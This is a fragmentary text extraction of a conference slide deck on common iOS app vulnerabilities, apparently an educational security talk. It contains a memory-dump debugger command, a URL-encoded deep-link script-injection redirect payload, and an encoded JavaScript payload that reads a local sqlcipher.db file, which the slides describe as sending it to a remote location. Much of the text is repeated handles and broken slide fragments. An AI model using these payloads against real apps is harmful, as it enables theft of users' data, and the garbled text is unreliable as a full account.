Common Vulnerabilities on iOS Apps
by ivan r QconSF
@ivRodriguezCA
Common Vulnerabilities on iOS Apps by ivan r QconSF @ivRodriguezCA - - PowerPoint PPT Presentation
Common Vulnerabilities on iOS Apps by ivan r QconSF @ivRodriguezCA @ivRodriguezCA DISCLAIMER the views and opinions expressed on this talk are solely my own and do not reflect the views or opinions of my employer. @ivRodriguezCA
by ivan r QconSF
@ivRodriguezCA
@ivRodriguezCA
the views and opinions expressed on this talk are solely my own and do not reflect the views or
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
> dump memory <filename> <start_address> <end_address>
@ivRodriguezCA
> dump memory <filename> <start_address> <end_address>
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
private_key
@ivRodriguezCA
private_key yes, PRIVATE key
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server ssh
@ivRodriguezCA
cloud server ssh
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
@ivRodriguezCA
cloud server
public api
@ivRodriguezCA
cloud server
ssh
@ivRodriguezCA
cloud server
ssh
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
wiki/URL_redirection’;</script></body></html>
wiki/URL_redirection’;</script></body></html> coinza://news/ %3Chtml%3E%3Cbody%3E%3Cscript%3Edocument.location%20%3D%20% 27https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FURL_redirection%27%3B% 3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
when you pair them.
whitelisted actions.
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
== ?
@ivRodriguezCA
✅
@ivRodriguezCA
🛒
@ivRodriguezCA
🛒 🚬
@ivRodriguezCA
🛒 ✅
@ivRodriguezCA
🛒 website.com
@ivRodriguezCA
🛒 username/password
@ivRodriguezCA
🛒
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
detected connection to a website
@ivRodriguezCA
creates fake TLS certificate
@ivRodriguezCA
sniffs client traffic
@ivRodriguezCA
network requests.
@ivRodriguezCA
@ivRodriguezCA
source: https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
file: sqlcipher.db path: Documents/
@ivRodriguezCA
send file to a remote location.
@ivRodriguezCA
%3Chtml%3E%0A%20%20%20%3Cbody%3E%0A%20%20%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20%20%20%20function%20loa dFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20xmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%0 A%20%20%20%20%20%20%20%20%20%20%20%20documentsPath%20%3D%20document.URL.split%28%27%2F%27%29.slice%280%2C%20-1%29.j
20%2B%20%27sqlcipher.db%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onreadystatechange%20%3D%20function%28%2 9%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.readyState%20%3D%3D%204%29%20%7B%0A%20 %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28xmlhttp.responseText.length%20%3E%200%29%20%7B%0A%20%2 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%27Got%20file%20%5C%27sqlcipher.db%5C%27%2C%20size %3A%20%27%20%2B%20xmlhttp.responseText.length%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7 D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0A%2 0%20%20%20%20%20%20%20%20%20%20%20xmlhttp.onerror%20%3D%20function%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%2 0%20%20%20%20%20alert%28%27Error%21%20%27%20%2B%20filePath%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A %20%20%20%20%20%20%20%20%20%20%20%20xmlhttp.open%28%27GET%27%2C%20filePath%2C%20true%29%3B%0A%20%20%20%20%20%2 0%20%20%20%20%20%20xmlhttp.send%28%29%3B%0A%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20wind
20%20%20%20%20Hello%20World%0A%20%20%20%20%20%20%3C%2Fp%3E%0A%20%20%20%3C%2Fbody%3E%0A%3C%2Fhtml%3E @ivRodriguezCA
@ivRodriguezCA
responsible disclosures.
@ivRodriguezCA
https://github.com/OWASP/owasp-masvs
https://github.com/OWASP/owasp-mstg
https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/ Resources.md
@ivRodriguezCA
https://github.com/ivRodriguezCA/RE-iOS-Apps
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA
@ivRodriguezCA